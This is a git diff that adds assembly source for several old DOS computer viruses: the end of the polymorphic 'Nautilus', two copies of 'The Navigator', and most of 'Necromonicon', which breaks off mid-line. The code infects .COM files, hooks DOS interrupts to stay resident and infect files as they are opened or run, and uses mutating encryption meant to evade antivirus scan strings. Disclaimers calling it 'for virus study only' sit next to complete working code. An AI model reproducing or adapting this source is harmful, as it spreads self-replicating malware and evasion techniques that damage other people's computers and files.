; from the host program. +mov dl,[bp+DecVal1] ; Rotate value +mov dh,[bp+Xor1Val] ; Xor value +mov cx,Cryptie-Virus_start ; Gives length of area to hide into CX +call cryptie ; Calls the encryption loop to hide it + + +EndRet: ; Jumps to the start of the actual program. + ; But first, lets reset all registers so no + ; problems are caused by a program assuming 0 + ; registers. +xor sp,sp ; resets the stack pointer +push sp ; and pushes 0 onto the stack +xor di,di +xor si,si +;xor cx,cx ; CX is 0 by the call to Cryptie +xor ax,ax +xor bx,bx +xor dx,dx +xor bp,bp +push 100h ; Puts 100h on stack +ret ; Jumps to location on stack ( 100h ) +DoneRet: + + +jumping db 0E9h ; E9 = jmp +jumpto db 0,0 ; Place for the new address + +; Dec/Enc values are here for the Morphing aspect, so that +; whatever type of decryption/encryption is used the values will +; always be found here. + + +Morph: ; This will move different ( preset ) Encryption + ; Routines and Calls into their respective spots. + ; It will also Change the Delta offset thing, because + ; that is a dead giveaway to the virus and is just dying + ; to become a scanstring. + +; Get New Enc/Dec Values +in al,40h ; Get random number from port 40h +and al,7h ; Masks out all but first 3 bits +jnz NotZero ; If its not zero, we are good. +inc al ; Makes any 0 = 1 +NotZero: +mov [bp+EncVal1],al ; Saves it as the EncVal1 +neg ax ; gets the opposite of AL +and al,7h ; Makes EncVal1 + DecVal1 = 8 +mov [bp+DecVal1],al ; Saves the DecVal1 + +in al,40h ; Get random number from port 40h +and al,7h ; Masks out all but first 3 bits +jnz NotZero2 ; If its not zero, we are good. +inc al ; Makes any 0 = 1 +NotZero2: +mov [bp+EncVal2],al ; Saves it as the EncVal2 +neg ax ; gets the opposite of AL +and al,7h ; Makes EncVal2 + DecVal2 = 8 +mov [bp+DecVal2],al ; Saves the DecVal2 + +; Get XorValues +Xoragain: +in al,40h ; Random number from port 40h +xchg bx,ax ; saves it into BL +in al,40h ; Gets another +cmp al,bl ; Makes sure they are not the same + ; because they might decrypt each other + ; in Cryptie and DCryptie, depending on + ; how they turn out. +jz XorAgain ; If they are equal, try again +mov [bp+Xor1Val],al ; Save it as Xor1Val +mov [bp+Xor2Val],bl ; Save it as Xor2Val + +; Now, the above got us some values to use, all we have to do, is +; modify how they are used. For the decrypt calls, and routines, we just +; randomly choose from a list of possibles. + +xor dx,dx +GetDelta: ; Get a possible Delta Offset Thingy +mov dl,0Ah +lea di,[bp+Virus_Start] +lea si,[bp+PosDelta] +in al,40h ; Gets Random Number +and al,7h ; Makes it 7 or less +imul dl ; Multiplies AL by 0Ah and stores in AX +add si,ax ; Adds AX to SI so we can get one of the possible + ; morphs for getting the delta offset. +mov cx,dx ; Length of Delta Offset Morphs +rep movsb ; MORPHING TIME!! + +GetCC: ; Get a possible Call Cryptie +mov dl,12h ; Size of Call Cryptie Morphs +lea di,[bp+Decrypt] +lea si,[bp+PosCC] +in al,40h ; Gets Random Number +and al,7h ; Makes it 7 or less +imul dl ; Multiplies AL by 12h and stores in AX +add si,ax ; Adds AX to SI so we can get one of the possible + ; morphs for calling Cryptie. +mov cx,dx ; Length of Call Cryptie Morphs +rep movsb ; MORPHING TIME!! + +GetCDC: ; Get one of the possible Call DCryptie's +mov dl,12h ; Size of Call DCryptie Morphs +lea di,[bp+Hidden] +lea si,[bp+PosCDC] +in al,40h ; Gets Random Number +and al,7h ; Makes it 7 or less +imul dl ; Multiplies AL by 12h and stores in AX +add si,ax ; Adds AX to SI so we can get one of the possible + ; morphs for calling DCryptie. +mov cx,dx ; Length of Call DCryptie Morphs +rep movsb ; MORPHING TIME!! + +GetCR: ; Get 2 new encryption routines +mov dx,0Eh ; Size of each possible encryption routine +lea di,[bp+MorphD1] ; Start of first encryption routine to change +lea si,[bp+PosCR] ; Start of possible variants +in al,40h ; Gets a random number +and al,0Fh ; Makes it 0Fh or less +imul dl ; Multiplies 0Eh by the Random # and stores in AX +add si,ax ; Gets the offset of encryption variant and puts + ; it into the SI +mov cx,dx ; Gives count of encryption length to CX +rep movsb ; Quickly does the first of two + +mov dx,0Eh ; Size of each possible encryption routine +lea di,[bp+MorphD2] ; Start of second encryption routine to change +lea si,[bp+PosCR] ; Start of possible variants +in al,40h ; Gets a random number +and al,0Fh ; Makes it 0Fh or less +imul dl ; Multiplies 0Eh by the Random # and stores in AX +add si,ax ; Gets the offset of encryption variant and puts + ; it into the SI +mov cx,dx ; Gives count of encryption length to CX +rep movsb ; Quickly does the second one + +ret ; Goes back to the spot that called here + +; Below is a Database of possible morphs +; The same results are reached by using any of these morphs +; they are just there to fool AV software companies. + +PosDelta: ; Possible Delta Routines, size 10 bytes +db 0E8,00,00 ; 3 ; Call Delta +sti ; 1 +pop bp ; 1 +xchg bx,ax ; 1 +sub bp,offset delta ; 4 + ; = 10 +PosDelta2: +sti ; 1 +clc ; 1 +db 0E8h,0,0 ; 3 +pop ax ; 1 +sub ax,offset delta +2 ; 3 +xchg bp,ax ; 1 + ; = 10 +PosDelta3: +cli ; 1 +db 0E8h,0,0 ; 3 +pop ax ; 1 +sti ; 1 +sub ax,offset delta+1 ; 3 +xchg bp,ax ; 1 + ; = 10 +PosDelta4: +cld ; 1 +db 0E8h,0,0 ; 3 +pop bp ; 1 +clc ; 1 +sub bp,offset delta+1 ; 4 + ; = 10 +PosDelta5: +db 0E8h,0,0 ; 3 +pop bx ; 1 +sti ; 1 +xchg bx,ax ; 1 +sub ax,offset delta ; 3 +xchg bp,ax ; 1 + ; = 10 +PosDelta6: +sti ; 1 +nop ; 1 +db 0E8h,0,0 ; 3 +pop bp ; 1 +sub bp,offset delta+2 ; 4 + ; = 10 +PosDelta7: +db 0E8h,0,0 ; 3 +pop ax ; 1 +xchg bx,ax ; 1 +xchg bx,ax ; 1 +sub ax,offset delta ; 3 +xchg bp,ax ; 1 + ; = 10 +PosDelta8: +db 0E8h,0,0 ; 3 +nop ; 1 +pop ax ; 1 +nop ; 1 +sub ax,offset delta ; 3 +xchg bp,ax ; 1 + ; = 10 + +PosCC: ; Possible Call Cryptie, size 12h ( 18d ) bytes +mov cx,cryptie-hidden ; 3 +lea si,[bp+hidden] ; 4 +nop ; 1 +mov di,si ; 2 +mov dl,[bp+DecVal1] ; 4 +mov dh,[bp+Xor1val] ; 4 + ; = 18 + +PosCC2: +lea di,[bp+hidden] ; 4 +nop ; 1 +mov dl,[bp+DecVal1] ; 4 +mov cx,cryptie-hidden ; 3 +mov dh,[bp+Xor1val] ; 4 +mov si,di ; 2 + ; = 18 +PosCC3: +sti ; 1 +lea si,[bp+hidden] ; 4 +mov dh,[bp+Xor1val] ; 4 +mov di,si ; 2 +mov dl,[bp+DecVal1] ; 4 +mov cx,cryptie-hidden ; 3 + ; = 18 +PosCC4: +lea di,[bp+hidden] ; 4 +mov cx,cryptie-hidden ; 3 +clc ; 1 +mov si,di ; 2 +mov dh,[bp+Xor1val] ; 4 +mov dl,[bp+DecVal1] ; 4 + ; = 18 +PosCC5: +mov dl,[bp+DecVal1] ; 4 +mov dh,[bp+Xor1val] ; 4 +mov cx,cryptie-hidden ; 3 +lea si,[bp+hidden] ; 4 +mov di,si ; 2 +nop ; 1 + ; = 18 +PosCC6: +mov dh,[bp+Xor1val] ; 4 +lea si,[bp+hidden] ; 4 +cld ; 1 +mov cx,cryptie-hidden ; 3 +mov di,si ; 2 +mov dl,[bp+DecVal1] ; 4 + ; = 18 +PosCC7: +mov cx,cryptie-hidden ; 3 +nop ; 1 +mov dl,[bp+DecVal1] ; 4 +mov dh,[bp+Xor1val] ; 4 +lea di,[bp+hidden] ; 4 +mov si,di ; 2 + ; = 18 +PosCC8: +mov dl,[bp+DecVal1] ; 4 +lea si,[bp+hidden] ; 4 +mov cx,cryptie-hidden ; 3 +stc ; 1 +mov di,si ; 2 +mov dh,[bp+Xor1val] ; 4 + ; = 18 + +PosCDC: ; Possible Call DCryptie, size 12h ( 18d ) bytes +mov cx,DCryptie-Dhidden ; 3 +lea si,[bp+Dhidden] ; 4 +mov di,si ; 2 +nop ; 1 +mov dl,[bp+DecVal2] ; 4 +mov dh,[bp+Xor2Val] ; 4 + ; = 18 + +PosCDC2: +lea si,[bp+Dhidden] ; 4 +mov dh,[bp+Xor2Val] ; 4 +mov di,si ; 2 +clc ; 1 +mov cx,DCryptie-Dhidden ; 3 +mov dl,[bp+DecVal2] ; 4 + ; = 18 + +PosCDC3: +mov dh,[bp+Xor2Val] ; 4 +mov dl,[bp+DecVal2] ; 4 +lea si,[bp+Dhidden] ; 4 +nop ; 1 +mov di,si ; 2 +mov cx,DCryptie-Dhidden ; 3 + ; = 18 + +PosCDC4: +lea di,[bp+Dhidden] ; 4 +sti ; 1 +mov dl,[bp+DecVal2] ; 4 +mov si,di ; 2 +mov cx,DCryptie-Dhidden ; 3 +mov dh,[bp+Xor2Val] ; 4 + ; = 18 + +PosCDC5: +cld ; 1 +lea si,[bp+Dhidden] ; 4 +mov cx,DCryptie-Dhidden ; 3 +mov di,si ; 2 +mov dh,[bp+Xor2Val] ; 4 +mov dl,[bp+DecVal2] ; 4 + ; = 18 + +PosCDC6: +lea si,[bp+Dhidden] ; 4 +mov cx,DCryptie-Dhidden ; 3 +mov dl,[bp+DecVal2] ; 4 +nop ; 1 +mov dh,[bp+Xor2Val] ; 4 +mov di,si ; 2 + ; = 18 + +PosCDC7: +lea di,[bp+Dhidden] ; 4 +mov cx,DCryptie-Dhidden ; 3 +mov si,di ; 2 +mov dh,[bp+Xor2Val] ; 4 +cld ; 1 +mov dl,[bp+DecVal2] ; 4 + ; = 18 + +PosCDC8: +mov dh,[bp+Xor2Val] ; 4 +mov dl,[bp+DecVal2] ; 4 +nop ; 1 +lea di,[bp+Dhidden] ; 4 +mov si,di ; 2 +mov cx,DCryptie-Dhidden ; 3 + ; = 18 + +PosCR: ; Possible Cryptie Routines, each 14 bytes +neg al ; 2 +xor al,13h ; 2 +not al ; 2 +rol al,cl ; 2 +not al ; 2 +xor al,13h ; 2 +neg al ; 2 + ; = 14 + +Pos2CR: ; Possible DCryptie Routines, each 14 bytes +xor al,72h ; 2 +neg al ; 2 +rol al,cl ; 2 +not al ; 2 +rol al,cl ; 2 +neg al ; 2 +xor al,72h ; 2 + ; = 14 + +PosCR2: +neg al ; 2 +sti ; 1 +rol al,cl ; 2 +nop ; 1 +clc ; 1 +neg al ; 2 +rol al,cl ; 2 +cld ; 1 +neg al ; 2 + ; = 14 + +Pos2CR2: +rol al,cl ; 2 +sti ; 1 +xor al,0C4h ; 2 +ror al,cl ; 2 +stc ; 1 +nop ; 1 +xor al,0C4h ; 2 +clc ; 1 +rol al,cl ; 2 + ; = 14 + +PosCR3: +not al ; 2 +xor al,0AAh ; 2 +stc ; 1 +nop ; 1 +clc ; 1 +neg al ; 2 +xor al,0AAh ; 2 +sti ; 1 +not al ; 2 + ; = 14 + +Pos2CR3: +ror al,cl ; 2 +cmp al,cl ; 2 +stc ; 1 +xor al,ch ; 2 +ror al,cl ; 2 +xor al,ch ; 2 +cld ; 1 +ror al,cl ; 2 + ; = 14 + +PosCR4: +rol al,cl ; 2 +neg al ; 2 +nop ; 1 +xor al,55h ; 2 +sti ; 1 +neg al ; 2 +std ; 1 +rol al,cl ; 2 +cld ; 1 + ; = 14 + +Pos2CR4: +cmp al,12h ; 2 +jne Fakejmp ; 2 +Fakejmp: +sti ; 1 +cld ; 1 +rol al,cl ; 2 +nop ; 1 +nop ; 1 +xor al,ch ; 2 +rol al,cl ; 2 + ; = 14 + +PosCR5: +cld ; 1 +ror al,cl ; 2 +xor al,ch ; 2 +not al ; 2 +nop ; 1 +nop ; 1 +xor al,ch ; 2 +nop ; 1 +ror al,cl ; 2 + ; = 14 + +Pos2CR5: +ror al,cl ; 2 +xor al,ch ; 2 +rol al,cl ; 2 +not al ; 2 +rol al,cl ; 2 +xor al,ch ; 2 +ror al,cl ; 2 + ; = 14 + +PosCR6: +xor al,ch ; 2 +nop ; 1 +xchg bx,dx ; 2 +nop ; 1 +nop ; 1 +ror al,cl ; 2 +stc ; 1 +xor al,ch ; 2 +xchg bx,dx ; 2 + ; = 14 + +Pos2CR6: +rol al,cl ; 2 +xor al,ch ; 2 +nop ; 1 +xor al,0D8h ; 2 +cmp al,4h ; 2 +xor al,ch ; 2 +sti ; 1 +rol al,cl ; 2 + ; = 14 + +PosCR7: +xor al,ch ; 2 +cmp al,4h ; 2 +jne FakeJmp2 ; 2 +stc ; 1 +FakeJmp2: +sti ; 1 +stc ; 1 +cld ; 1 +xchg bx,ax ; 1 +xchg bx,ax ; 1 +stc ; 1 +nop ; 1 + ; = 14 + +Pos2CR7: +rol al,cl ; 2 +xor al,ch ; 2 +rol al,cl ; 2 +not al ; 2 +rol al,cl ; 2 +xor al,ch ; 2 +rol al,cl ; 2 + ; = 14 + +PosCR8: +xor al,ch ; 2 +rol al,cl ; 2 +xor al,ch ; 2 +not al ; 2 +xor al,ch ; 2 +rol al,cl ; 2 +xor al,ch ; 2 + ; = 14 + +Pos2CR8: +xor al,ch ; 2 +rol al,cl ; 2 +xor al,0C7h ; 2 +neg al ; 2 +xor al,0C7h ; 2 +rol al,cl ; 2 +xor al,ch ; 2 + ; = 14 + + +EndMorphs: + +filemask db '*.com',0 ; The type of files we are gonna infect. +textmask db '*.txt',0 ; Text files to find when bomb goes off +dos_mask db 'dos',0 ; Mask for finding DOS +win_mask db 'windows',0 ; Mask for finding Windows +win_com db 'command',0 ; Mask for finding .\windows\command +dot_dot db '..',0 ; Mask for previous directory. + + +saved db 0CDh,020h,0h ; This is the storage space for the first + ; three bytes from the infected file. CD20 is + ; the 'int 20h' instruction used to exit. + + +Infectedby db 'Sea4 ' ; Place to keep virus lineage +MyName db 'Nautilus.com ' ; Current infected file + +Virus_Name db '[Nautilus]',0 +Author db 'Sea4, Codebreakers',0 + +textlen EQU DCryptie-Line1 + +; Below is the first sentence of the Jules Verne classic from whence I got +; the name of this virus. "Twenty Thousand Leagues Under the Sea" + +line1 db 'The year 1866 was made notable by a series of bizarre',CR,LF +line2 db 'events, a chain of mysterious phenomena which have never',CR,LF +line3 db 'been explained, that I am sure no one has forgotten.',CR,LF + +CR EQU 0Dh +LF EQU 0Ah ; Carrige Return Line Feed ( next line ) + +DCryptie: +lodsb ; Gets next byte Doomed for De/Encryption +xchg dx,cx ; Saves the count while using the DE/ENcrypt value +MorphD1: +db 14 dup 90h ; The encryption instructions will be at most + ; 14 bytes long. +xchg dx,cx ; Returns the count value to CX +stosb ; Puts the encrypted byte into mem +loop DCryptie ; Does all the bytes specified by CX +ret ; Jumps back to the caller + +Xor2Val db 00h ; Xor value to be used in DCryptie +DecVal2 db 00h ; Decrypt value 2 +EncVal2 db 00h ; Encrypt value 2 + +Cryptie: +lodsb ; Gets the next byte to De/Encrypt +xchg dx,cx +MorphD2: +db 14 dup 90h ; The encryption instructions will be at most + ; 14 bytes long. +xchg dx,cx +stosb ; Plugs AL back into mem +loop Cryptie ; Does all the bytes specified by CX +ret ; Jumps back to where it was called + +Xor1Val db 00h ; Xor value to be used in Cryptie +DecVal1 db 00h ; Decrypt value 1 +EncVal1 db 00h ; Encrypt value 1 + +ende: +; Here is a buffer specifically for file attributes/date/time/size +; It is not saved with the virus, so it doesn't actually take up mem. :) +; Just the offsets are used. +s_attr db 0h ; File attributes +s_time dw 0h ; Saved Time Last Modified +s_date dw 0h ; Saved Date Last Modified +s_size dd 0h ; Size of file ( before modification) +Victems db 00h ; Place to keep count of victems +CurDIR db 64 DUP (90) +buffer: diff --git a/n/NAV.ASM b/n/NAV.ASM new file mode 100755 index 0000000..51b4467 --- /dev/null +++ b/n/NAV.ASM @@ -0,0 +1,201 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +;**************************************************************************** +;* The Navigator * +;* * +;* Assembled with Tasm 2.5 * +;* * +;* (c) 1992 Dark Helmet, The Netherlands * +;* The author takes no responsibilty for any damages caused by the virus * +;* * +;* Special greetings to : * +;* Glenn Benton, XSTC for their nice source and viruses, * +;* Peter Venkman for his BBS, Marcel and Ziggy for keeping me of the * +;* work, Guns and Roses for their great music, * +;* and al the other viruswriters... * +;* * +;* " Trust me...I know what I'm doing" * +;* * +;*--------------------------------------------------------------------------* +;* * +;* Coming soon : The Anti-DAF Virus * +;* Civil War II * +;* * +;*--------------------------------------------------------------------------* +;* * +;* Used Books : - MSDOS voor gevorderen (tweede editie) * +;* Ray Duncan, ISBN 90 201 2299 1 (660 blz.) * +;* - PC Handboek voor programmeurs * +;* Robert Jourdain, ISBN 90 6233 443 1 (542 blz.) * +;* - Werken met Turbo Assembler * +;* Tom Swam, ISBN 90 6233 627 2 (903 blz.) * +;* * +;**************************************************************************** + + .Radix 16 + +Navigator Segment + Assume cs:Navigator, ds:Navigator, + org 100h + +len equ offset last - begin + +Dummy: db 0e9h, 03h, 00h, 44h, 48h, 00h + +Begin: call virus + +Virus: pop bp + sub bp,109h + mov dx,0fe00h + mov ah,1ah + int 21h + +Restore_begin: mov di,0100h + lea si,ds:[buffer+bp] + mov cx,06h + rep movsb + +First: lea dx,[com_mask+bp] + mov ah,04eh + xor cx,cx + int 21h + +Open_file: mov ax,03d02h + mov dx,0fe1eh + int 21h + mov [handle+bp],ax + xchg ax,bx + +Read_date: mov ax,05700h + int 21h + mov [date+bp],dx + mov [time+bp],cx + +Check_infect: mov bx,[handle+bp] + mov ah,03fh + mov cx,06h + lea dx,[buffer+bp] + int 21h + mov al,byte ptr [buffer+bp]+3 + mov ah,byte ptr [buffer+bp]+4 + cmp ax,[initials+bp] + jne infect_file + +Close_file: mov bx,[handle+bp] + mov ah,3eh + int 21h + +Next_file: mov ah,4fh + int 21h + jnb open_file + jmp exit + +Infect_file: mov ax,word ptr [cs:0fe1ah] + sub ax,03h + mov [lenght+bp],ax + mov ax,04200h + call move_pointer + +Write_jump: mov ah,40h + mov cx,01h + lea dx,[jump+bp] + int 21h + mov ah,40h + mov cx,02h + lea dx,[lenght+bp] + int 21h + mov ah,40 + mov cx,02h + lea dx,[initials+bp] + int 21h + +Write_virus: mov ax,4202h + call move_pointer + mov ah,40h + mov cx,len + lea dx,[begin+bp] + int 21h + +restore_date: mov dx,[date+bp] + mov cx,[time+bp] + mov bx,[handle+bp] + mov ax,05701h + int 21h + +exit: mov bx,0100h + jmp bx + +;---------------------------------------------------------------------------- + +move_pointer: mov bx,[handle+bp] + xor cx,cx + xor dx,dx + int 21h + ret + +;---------------------------------------------------------------------------- + +com_mask db "*.com",0 +handle dw ? +date dw ? +time dw ? +buffer db 090h,0cdh,020h,044h,048h,00h +initials dw 4844h +lenght dw ? +jump db 0e9h,0 +msg db "The Navigator, (c) 1992 Dark Helmet",0 + +last db 090h + +Navigator ends + end dummy +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + +;; +;> and Remember Don't Forget to Call <; +;> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <; +;; + diff --git a/n/NAVIGATR.ASM b/n/NAVIGATR.ASM new file mode 100755 index 0000000..b31e062 --- /dev/null +++ b/n/NAVIGATR.ASM @@ -0,0 +1,161 @@ +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +;**************************************************************************** +;* The Navigator * +;* * +;* Assembled with Tasm 2.5 * +;* * +;* (c) 1992 Dark Helmet, The Netherlands * +;* The author takes no responsibilty for any damages caused by the virus * +;* * +;* Special greetings to : * +;* Glenn Benton, XSTC for their nice source and viruses, * +;* XXXXXXXXXXXXX for his BBS, Marcel and Ziggy for keeping me of the * +;* work, Guns and Roses for their great music, * +;* and al the other viruswriters... * +;* * +;* " Trust me...I know what I'm doing" * +;* * +;*--------------------------------------------------------------------------* +;* * +;* Coming soon : The Anti-DAF Virus * +;* Civil War II * +;* * +;*--------------------------------------------------------------------------* +;* * +;* Used Books : - MSDOS voor gevorderen (tweede editie) * +;* Ray Duncan, ISBN 90 201 2299 1 (660 blz.) * +;* - PC Handboek voor programmeurs * +;* Robert Jourdain, ISBN 90 6233 443 1 (542 blz.) * +;* - Werken met Turbo Assembler * +;* Tom Swam, ISBN 90 6233 627 2 (903 blz.) * +;* * +;**************************************************************************** + + .Radix 16 + +Navigator Segment + Assume cs:Navigator, ds:Navigator, + org 100h + +len equ offset last - begin + +Dummy: db 0e9h, 03h, 00h, 44h, 48h, 00h + +Begin: call virus + +Virus: pop bp + sub bp,109h + mov dx,0fe00h + mov ah,1ah + int 21h + +Restore_begin: mov di,0100h + lea si,ds:[buffer+bp] + mov cx,06h + rep movsb + +First: lea dx,[com_mask+bp] + mov ah,04eh + xor cx,cx + int 21h + +Open_file: mov ax,03d02h + mov dx,0fe1eh + int 21h + mov [handle+bp],ax + xchg ax,bx + +Read_date: mov ax,05700h + int 21h + mov [date+bp],dx + mov [time+bp],cx + +Check_infect: mov bx,[handle+bp] + mov ah,03fh + mov cx,06h + lea dx,[buffer+bp] + int 21h + mov al,byte ptr [buffer+bp]+3 + mov ah,byte ptr [buffer+bp]+4 + cmp ax,[initials+bp] + jne infect_file + +Close_file: mov bx,[handle+bp] + mov ah,3eh + int 21h + +Next_file: mov ah,4fh + int 21h + jnb open_file + jmp exit + +Infect_file: mov ax,word ptr [cs:0fe1ah] + sub ax,03h + mov [lenght+bp],ax + mov ax,04200h + call move_pointer + +Write_jump: mov ah,40h + mov cx,01h + lea dx,[jump+bp] + int 21h + mov ah,40h + mov cx,02h + lea dx,[lenght+bp] + int 21h + mov ah,40 + mov cx,02h + lea dx,[initials+bp] + int 21h + +Write_virus: mov ax,4202h + call move_pointer + mov ah,40h + mov cx,len + lea dx,[begin+bp] + int 21h + +restore_date: mov dx,[date+bp] + mov cx,[time+bp] + mov bx,[handle+bp] + mov ax,05701h + int 21h + +exit: mov bx,0100h + jmp bx + +;---------------------------------------------------------------------------- + +move_pointer: mov bx,[handle+bp] + xor cx,cx + xor dx,dx + int 21h + ret + +;---------------------------------------------------------------------------- + +com_mask db "*.com",0 +handle dw ? +date dw ? +time dw ? +buffer db 090h,0cdh,020h,044h,048h,00h +initials dw 4844h +lenght dw ? +jump db 0e9h,0 +msg db "The Navigator, (c) 1992 Dark Helmet",0 + +last db 090h + +Navigator ends + end dummy +;****************************************************************************; +;****************************************************************************; diff --git a/n/NECROMIN.A86 b/n/NECROMIN.A86 new file mode 100755 index 0000000..2f3b909 --- /dev/null +++ b/n/NECROMIN.A86 @@ -0,0 +1,417 @@ +; +; Necromonicon Virus by John Tardy +; + + Org 0h + +decr: jmp Crypt + db 'Carcass' +Loopje DB 0e2h + db 0fah +DecrLen Equ $-Decr + +Crypt: Push Ax + call Get_Ofs +Get_Ofs: pop Bp + sub Bp,Get_Ofs + Mov Ax,0DEADh + Int 21h + Cmp Ax,0AAAAh + Je Installed + + mov ax,3521h + int 21h + mov word ptr cs:old21[bp],bx + mov word ptr cs:old21[bp][2],es + + mov ax,cs + dec ax + mov ds,ax + cmp byte ptr ds:[0000],'Z' + jne installed + mov ax,word ptr ds:[0003] + sub ax,ParLen + jb installed + mov word ptr ds:[0003],ax + sub word ptr ds:[0012h],ParLen + lea si,decr[bp] + mov di,0 + mov es,ds:[12h] + mov ds,cs + mov cx,virlen + cld + rep movsb + mov ax,2521h + mov ds,es + mov dx,offset new21 + int 21h + push es + Mov Ax,351ch + Int 21h + Mov Word Ptr OldInt1c[0],Bx + Mov Word Ptr OldInt1c[2],Es + Mov Ax,251ch + Lea Dx,NewInt1c + Pop Ds + Int 21h + +Installed: Mov Di,100h + Lea Si,Org_Prg[Bp] + Push Cs + Push Cs + Pop Ds + Pop Es + Cld + Movsw + Movsb + Mov Bx,100h + Pop Ax + Push Bx + Ret + +OldInt1c DD 0 + +NewInt1c: Pushf + Push Ds + Push Ax + Xor Ax,Ax + Push Ax + Pop Ds + Mov Ax,Word Ptr Ds:[46ch] + Dec Word Ptr Ds:[46ch] + Dec Word Ptr Ds:[46ch] + Cmp Ax,Word Ptr Ds:[46ch] + Ja EOI1C + Dec Word Ptr Ds:[46eh] +EOI1C: Pop Ax + Pop Ds + Popf + Iret + +Old21 dd 0 + +New21: cmp ax,0deadh + jne chkfunc + mov ax,0aaaah + mov cx,ax + iret +chkfunc: cmp ah,11h + je findFCBst + cmp ah,12h + je findfcbst + cmp ah,4eh + je findst + cmp ah,4fh + je findst + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + cmp ah,3dh + je infectHan + cmp ax,4b00h + je infectHan + cmp ah,41h + je infectHan + cmp ah,43h + je infectHan + cmp ah,56h + je infectHan + cmp ah,0fh + je infectFCB + cmp ah,23h + je infectFCB + cmp ah,6ch + je infectdos4 + jmp endint + +findfcbst: jmp findfcb +findst: jmp find + +InfectFCB: mov si,dx + inc si + push cs + pop es + lea di,fnam + mov cx,8 + rep movsb + mov cx,3 + inc di + rep movsb + lea dx,fnam + push cs + pop ds + +InfectHan: mov si,dx + mov cx,100h + cld +findpnt: lodsb + cmp al,'.' + je chkcom + loop findpnt + jmp endi + +infectdos4: and dx,0fh + cmp dx,1 + jne endi + mov dx,si + jmp infecthan + +chkcom: lodsw + or ax,2020h + cmp ax,'oc' + jne endi + lodsb + or al,20h + cmp al,'m' + jne endi + jmp doitj +endi: jmp endint +doitj: push dx + push ds + mov ax,4300h + call dos + mov cs:fatr,cx + mov ax,4301h + xor cx,cx + call dos + mov ax,3d02h + call dos + jnc getdate + jmp error +getdate: xchg ax,bx + mov ax,5700h + call dos + mov cs:fdat,cx + mov cs:fdat[2],dx + and cx,1fh + cmp cx,1fh + jne chkexe + jmp done +chkexe: mov ah,3fh + push cs + pop ds + lea dx,Org_prg + mov cx,3 + call dos + cmp word ptr cs:Org_prg[0],'ZM' + je close + cmp word ptr cs:Org_prg[0],'MZ' + je close + + Mov ax,4202h + xor cx,cx + xor dx,dx + call dos + + sub ax,3 + mov cs:jump[1],ax + + Add Ax,Offset Crypt+103h + Mov S_1[1],Ax + Mov S_2[1],Ax + Mov S_3[4],Ax + Mov S_4[4],Ax + Call GenPoly + + mov ah,40h + push cs + pop ds + lea dx,coder + mov cx,virlen + call dos + + mov ax,4200h + xor cx,cx + xor dx,dx + call dos + + mov ah,40h + lea dx,jump + mov cx,3 + call dos + + or cs:fdat,01fh + +close: mov ax,5701h + mov cx,cs:fdat + mov dx,cs:fdat[2] + call dos + +done: mov ah,3eh + call dos + pop ds + pop dx + push dx + push ds + mov ax,4301h + mov cx,fatr + call dos + +error: pop ds + pop dx + +endint: pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp dword ptr cs:[old21] + +GenPoly: Xor Byte Ptr [Loopje],2 + Xor Ax,Ax + Mov Es,Ax + Mov Ax,Es:[46ch] + Mov Es,Cs + Push Ax + And Ax,07ffh + Add Ax,CryptLen + Mov S_1[4],Ax + Mov S_2[4],Ax + Mov S_3[1],Ax + Mov S_4[1],Ax +Doit: Pop Ax + Push Ax + And Ax,3 + Shl Ax,1 + Mov Si,Ax + Mov Ax,Word Ptr Table[Si] + Mov Si,Ax + Lea Di,decr + Movsw + Movsw + Movsw + Movsw + Pop Ax + Stosb + Movsb + Mov Dl,Al + Lea Si,Decr + Lea Di,Coder + Mov Cx,DecrLen + Rep Movsb + Lea Si,Crypt + Mov Cx,CryptLen +Encrypt: Lodsb + Xor Al,Dl + Stosb + Loop Encrypt + Cmp Dl,0 + Je Fuckit + Ret + +FuckIt: Lea Si,Encr0 + Lea Di,Coder + Mov Cx,Encr0Len + Rep Movsb + Mov Ax,Cs:jump[1] + Add Ax,Encr0Len+2 + Mov Cs:jump[1],Ax + Ret + +Table DW Offset S_1 + DW Offset S_2 + DW Offset S_3 + DW Offset S_4 + +S_1: Lea Si,0 + Mov Cx,0 + DB 80h,34h + Inc Si +S_2: Lea Di,0 + Mov Cx,0 + DB 80h,35h + Inc Di +S_3: Mov Cx,0 + Lea Si,0 + DB 80h,34h + Inc Si +S_4: Mov 